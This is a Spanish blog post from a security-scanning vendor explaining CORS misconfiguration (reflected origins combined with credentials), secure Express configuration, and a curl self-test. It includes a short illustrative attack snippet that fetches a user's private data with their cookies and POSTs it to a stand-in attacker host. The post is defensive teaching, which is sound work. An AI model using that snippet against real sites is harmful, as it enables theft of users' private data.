← Volver al blog
SeguridadEquipo de Scanaris · 5 min de lectura · 04 de octubre de 2026

CORS mal configurado: el fallo silencioso que expone los datos de tus usuarios

Estás construyendo tu app, el navegador te suelta un error rojo de CORS, buscas en un foro o se lo preguntas a la IA y copias la solución que promete que todo funcione. Suele ser la peor posible. Esta guía explica qué es CORS de verdad, qué protege y qué no, el error exacto que deja los datos de tus usuarios al alcance de cualquier web, cómo configurarlo bien con código y cómo comprobarlo desde fuera.

Qué es CORS en realidad

Por defecto, el navegador no deja que una página en web-a.com lea la respuesta de una API en web-b.com. Es la política del mismo origen, y un origen es la combinación de protocolo, dominio y puerto: https://app.ejemplo.com y https://api.ejemplo.com son orígenes distintos. Esa política protege a tus usuarios: evita que una pestaña maliciosa lea datos de otra web donde tienen la sesión iniciada.

CORS (Cross-Origin Resource Sharing) es el mecanismo con el que tu servidor relaja esa regla a propósito: con la cabecera Access-Control-Allow-Origin le dice al navegador "a este origen concreto sí le dejo leer la respuesta". Para peticiones que no son simples (un PUT, un JSON, una cabecera Authorization), el navegador envía antes una petición OPTIONS de comprobación, el preflight, y solo sigue si la respuesta lo autoriza.

Lo que CORS no protege

Conviene tenerlo claro antes de configurarlo. CORS es una regla que cumplen los navegadores, no un control de acceso de tu API. Un atacante con curl, un script en un servidor o una app móvil no están sujetos a CORS: ven todo lo que tu API devuelva sin sesión. Si un endpoint entrega datos sin comprobar quién pregunta, CORS no lo arregla; eso lo arregla la autenticación. CORS protege una cosa muy concreta: que otra web no use el navegador de tu usuario, con sus cookies, para leer datos privados en su nombre.

El error que lo rompe todo

El patrón peligroso es reflejar cualquier origen que llega y, encima, permitir credenciales:

  • Access-Control-Allow-Origin con el valor del origen que pide, sea cual sea (reflejo dinámico), y
  • Access-Control-Allow-Credentials: true.

Con esa combinación, cualquier web que visite tu usuario puede hacer peticiones a tu API con las cookies de sesión del usuario y leer la respuesta. El ataque cabe en tres líneas en la web del atacante:

fetch('https://api.tudominio.com/me', { credentials: 'include' })
  .then(r => r.json())
  .then(datos => fetch('https://atacante.example/recoger', { method: 'POST', body: JSON.stringify(datos) }))

El usuario no ve nada: solo ha abierto una página. El comodín * es menos grave porque el navegador se niega a combinarlo con credenciales, pero tampoco pertenece a una API con datos privados.

Las formas en que este error llega al código suelen ser inocentes: en Express, cors({ origin: true, credentials: true }) refleja cualquier origen; una expresión regular descuidada como /tudominio.com$/ acepta evil-tudominio.com; una lista que incluye null permite páginas abiertas desde archivos locales e iframes aislados; y "permitir todo en desarrollo" acaba desplegado en producción.

Cómo configurarlo bien

Piensa en defensa, no en comodidad. Mantén una lista cerrada de orígenes, compárala de forma exacta y devuelve la cabecera solo cuando haya coincidencia. En Express:

const ALLOWED = new Set([
  'https://app.tudominio.com',
  'https://tudominio.com',
])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
    res.setHeader('Access-Control-Allow-Credentials', 'true')
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
    res.setHeader('Access-Control-Max-Age', '600')
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204)
  next()
})

Cuatro detalles que importan. Vary: Origin evita que un CDN guarde en caché la respuesta para un origen y se la sirva a otro. Allow-Credentials solo si de verdad usas cookies entre orígenes; si tu API y tu app viven en el mismo dominio, ni siquiera necesitas CORS. Limita métodos y cabeceras a lo que uses. Y responde al OPTIONS con 204 sin ejecutar lógica de negocio.

En Next.js, el mismo código vive en un middleware o en cada route handler; en Nuxt, en routeRules o en un middleware de servidor. Si usas Supabase o Firebase directamente desde el navegador, el CORS lo gestionan ellos y la barrera real son las reglas de la base de datos, no esta cabecera.

Las APIs públicas sí pueden usar el comodín

Si tu API sirve datos que de verdad son públicos (un listado de precios, un catálogo) y no usa cookies, Access-Control-Allow-Origin: * es legítimo y simplifica la vida a quien la consume. La regla es no mezclar nunca el comodín, ni el reflejo, con datos que dependan de la sesión del usuario.

Por qué cuesta detectarlo

Este fallo es silencioso: todo funciona, no hay error visible y la app parece sana. Solo se nota cuando alguien lo aprovecha, y ni siquiera entonces deja rastro evidente en tus logs, porque las peticiones llegan con una sesión válida. Por eso conviene revisar la configuración de CORS de forma explícita en cada despliegue y no fiarse de que "como no da error, va bien".

Cómo comprobarlo tú mismo

Pide un endpoint privado de tu API fingiendo venir de otra web y mira las cabeceras que vuelven:

curl -s -I -H "Origin: https://evil.example" https://api.tudominio.com/me | grep -i access-control

Si la respuesta devuelve Access-Control-Allow-Origin: https://evil.example junto con Access-Control-Allow-Credentials: true, tienes el problema. Si no devuelve ninguna cabecera CORS para un origen desconocido, está bien. Repite con Origin: null y con un subdominio inventado de tu propio dominio.

CORS no sustituye a la protección contra CSRF

Un atacante no necesita leer la respuesta para hacer daño: basta con que la petición se ejecute (un POST que cambia el email de la cuenta, por ejemplo). Eso lo evitan las cookies con SameSite=Lax o Strict y, para formularios sensibles, un token anti-CSRF. CORS y SameSite son dos capas distintas; conviene tener las dos.

Revisa tu CORS con Scanaris

Scanaris comprueba en modo solo lectura cómo responde tu web a peticiones con orígenes desconocidos: si refleja el origen, si permite credenciales y si combina el comodín con cookies. No lanza ataques ni toca tus datos: solo observa la respuesta pública, igual que el comando de arriba. Si encuentra una configuración peligrosa, te da un fix prompt para que tu IA la reescriba con una lista cerrada. Es una de las comprobaciones de la checklist de lanzamiento; el resto de piezas, cabeceras incluidas, están en la guía de cabeceras de seguridad.

Preguntas frecuentes

¿Por qué me da error de CORS en local y en producción no?

Porque en local el frontend corre en localhost:3000 y la API en otro puerto: son orígenes distintos. En producción suelen compartir dominio. Añade el origen de desarrollo a la lista solo en el entorno de desarrollo, nunca reflejes todo para "quitar el error".

¿Puedo poner varios orígenes en Access-Control-Allow-Origin?

No, la cabecera admite un único valor. Por eso se compara el origen entrante contra la lista y se devuelve solo ese, con Vary: Origin.

¿Un navegador móvil o una extensión pueden saltarse CORS?

Las apps nativas y los scripts de servidor no están sujetos a CORS; las extensiones tienen permisos propios. CORS protege al usuario en su navegador normal, que es donde están sus cookies. El resto lo protege la autenticación de tu API.

¿Y tu web, cómo va?

Pásale Scanaris y compruébalo en 30 segundos, gratis.

Escanear mi web

Checks relacionados